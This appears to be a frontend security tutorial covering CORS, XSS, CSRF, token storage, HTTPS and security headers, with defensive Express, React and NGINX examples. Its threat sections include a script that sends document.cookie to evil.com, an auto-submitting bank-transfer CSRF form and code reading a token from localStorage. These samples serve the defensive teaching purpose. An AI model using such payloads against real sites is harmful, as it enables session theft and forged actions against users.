Frontend Security

1. CORS Misconfigurations

πŸ”Ž What it is

CORS (Cross-Origin Resource Sharing) controls which domains are allowed to make requests to your backend from the browser. Without it, your frontend app wouldn’t be able to call your API if it’s hosted on a different domain.

🚨The Threat

A common mistake is allowing:

Access-Control-Allow-Origin: *

This means any site can send requests to your API β€” and if cookies or tokens are attached, attackers can impersonate users and steal data.

πŸ›‘οΈ The Solution

βœ… Whitelist only your trusted frontend domains

βœ… Enable credentials only when required

βœ… Restrict HTTP methods

Secure Express setup example:

import cors from "cors";
 
app.use(cors({
  origin: "https://yourapp.com", // βœ… only your frontend
  credentials: true,             // ⚠️ enable only if you send cookies
  methods: ["GET", "POST"],      // βœ… restrict allowed methods
}));

2. XSS (Cross-Site Scripting)

πŸ”Ž What it is

XSS (Cross-Site Scripting) happens when attackers inject malicious JavaScript into your app. This code runs inside the user’s browser and can steal cookies, tokens, or sensitive data.

🚨 The Threat

If user-generated content is rendered without sanitization, an attacker could inject:

<script>
  fetch("https://evil.com/steal?cookie=" + document.cookie)
</script>

This script would execute in the victim’s browser and send their session cookie to the attacker’s server.

πŸ›‘οΈ The Solution

βœ… Always sanitize and escape user input

βœ… Avoid dangerouslySetInnerHTML in React

βœ… Set a Content Security Policy (CSP) to block unauthorized scripts

Secure Rendering in React:

import DOMPurify from "dompurify";
// βœ… Sanitize user input before rendering
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />

CSP Header Example:

Content-Security-Policy: default-src 'self'; script-src 'self'

3. CSRF (Cross-Site Request Forgery)

πŸ”Ž What it is

CSRF (Cross-Site Request Forgery) tricks an authenticated user’s browser into sending unintended requests to your backend. Since the browser automatically includes cookies with requests, attackers can exploit this to perform actions without the user’s knowledge.

🚨 The Threat

Imagine you’re logged into a banking app. You visit a malicious site that silently submits a hidden form:

<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="5000" />
</form>
<script>document.forms[0].submit()</script>

Your browser includes your valid session cookies, and the bank processes it as if you initiated the transfer.

πŸ›‘οΈ The Solution

βœ… Use SameSite cookies to restrict cross-site requests

βœ… Generate and validate CSRF tokens for sensitive actions

βœ… Verify the Origin or Referer header on the backend

Secure Cookie Setup:

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

CSRF Token Example (Frontend with Axios):

const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
 
await axios.post("/update-profile", data, {
  headers: { "X-CSRF-Token": csrfToken },
  withCredentials: true,
});

CSRF Middleware (Express) example:

import csrf from "csurf";
app.use(csrf({ cookie: true }));
 
app.post("/update-profile", (req, res) => {
  res.send("Profile updated securely βœ…");
});

4. Insecure Cookies & Token Storage**

πŸ”Ž What it is

Cookies and tokens (like JWTs) are used to store user authentication and session data. If stored or configured incorrectly, they can be stolen through attacks like XSS or intercepted over insecure connections.

🚨 The Threat

A common mistake is storing JWTs in localStorage or sessionStorage. If an attacker injects malicious JavaScript, they can easily grab the token:

// XSS injected code
console.log(localStorage.getItem("authToken"));

With that token, the attacker can impersonate the user and access protected APIs.

πŸ›‘οΈ The Solution

βœ… Store sensitive tokens in HttpOnly cookies (not accessible via JavaScript)

βœ… Always use the Secure flag so cookies are sent only over HTTPS

βœ… Add SameSite=Strict to block cross-site misuse

βœ… Keep expiry times short and rotate tokens regularly

Secure Cookie Example:

Set-Cookie: authToken=xyz123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600

Frontend API Call Using HttpOnly Cookies example:

const response = await fetch("/api/profile", {
  method: "GET",
  credentials: "include", // βœ… sends HttpOnly cookie automatically
});

Backend Example (Express) exmaple:

res.cookie("authToken", token, {
  httpOnly: true,
  secure: true,
  sameSite: "strict",
  maxAge: 3600000, // 1 hour
});

5. HTTPS Everywhere**

πŸ”Ž What it is

HTTPS (Hypertext Transfer Protocol Secure) encrypts communication between the browser and the server. It ensures that sensitive data like cookies, tokens, or personal information cannot be read or modified by attackers while in transit.

🚨 The Threat

If your app uses plain HTTP, attackers on the same network (like public Wi-Fi) can:

  • Eavesdrop on API calls and steal tokens/cookies
  • Inject malicious responses (man-in-the-middle attacks)
  • Redirect traffic to phishing or fake servers

For example, an HTTP request might expose your token in plain text:

GET /api/profile HTTP/1.1
Host: myapp.com
Authorization: Bearer xyz123

Anyone intercepting traffic sees everything.

πŸ›‘οΈ The Solution

βœ… Always use HTTPS (get a free SSL cert via Let’s Encrypt)

βœ… Redirect all HTTP traffic to HTTPS

βœ… Use HSTS (HTTP Strict Transport Security) to enforce HTTPS

Express Redirect Example:

app.use((req, res, next) => {
  if (req.protocol === "http") {
    res.redirect(301, `https://${req.headers.host}${req.url}`);
  } else {
    next();
  }
});

HSTS Header Example:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

NGINX Config Example:

server {
    listen 80;
    server_name myapp.com;
    return 301 https://$host$request_uri;
}

Its okay to use http in local but deployed environments should always have https enabled

6. Security Headers That Save You**

πŸ”Ž What it is

Security headers are special HTTP response headers that tell the browser how to handle content. They act as built-in guards against common web attacks like clickjacking, MIME sniffing, or unauthorized script execution.

🚨 The Threat

Without proper headers:

  • Your app could be embedded in an <iframe> β†’ enabling clickjacking attacks.
  • Browsers might try to β€œguess” file types β†’ leading to MIME sniffing exploits.
  • Third-party scripts could load freely β†’ increasing XSS risks.
  • Sensitive referrer info could leak across sites.

πŸ›‘οΈ The Solution

βœ… Set security headers at the server or CDN level

βœ… Combine them with HTTPS and cookies for stronger protection

Example Header Config (Express + Helmet):

import helmet from "helmet";
app.use(helmet());

This automatically applies safe defaults. You can customize further:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Content-Security-Policy: default-src 'self'
Permissions-Policy: geolocation=(), microphone=()

NGINX Config Example:

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload";
add_header X-Frame-Options "DENY";
add_header X-Content-Type-Options "nosniff";
add_header Referrer-Policy "strict-origin-when-cross-origin";
add_header Content-Security-Policy "default-src 'self'";
add_header Permissions-Policy "geolocation=(), microphone=()";

βœ… The Frontend Security Checklist

You can have a go-to checklist like this that helps you keep yrack whether the best practices are being followed while you code

  • Use HTTPS everywhere (enforce + HSTS)
  • Configure CORS properly β†’ whitelist origins, restrict methods, allow credentials only if needed
  • Protect against XSS β†’ sanitize inputs, avoid unsafe rendering, use CSP
  • Prevent CSRF β†’ SameSite=Strict cookies, CSRF tokens, validate Origin/Referer
  • Secure Cookies & Tokens β†’ HttpOnly, Secure, SameSite, short expiry, rotate tokens
  • Set Important Security Headers β†’
`Strict-Transport-Security`
`X-Frame-Options: DENY`
`X-Content-Type-Options: nosniff`
`Referrer-Policy: strict-origin-when-cross-origin`
`Permissions-Policy`
xs